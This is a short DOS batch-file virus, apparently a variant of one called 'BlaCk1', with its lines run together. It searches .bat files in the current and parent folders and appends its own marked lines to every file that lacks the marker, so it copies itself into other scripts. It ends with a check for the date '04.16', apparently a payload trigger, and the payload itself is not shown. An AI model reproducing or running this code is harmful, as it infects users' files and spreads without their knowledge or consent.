@Echo OFF%[BlaCk1]% REM Less destructive version of (BlaCk1)! DOES NOT OVERWRITE OLD Black1. for %%f in (*.bat ..\*.bat) do set BlaCk1=%%f find "BlaCk1"<%BlaCk1%>nul if errorlevel 1 find "BlaCk1"<%0>>%BlaCk1% echo.|date|find "04.16"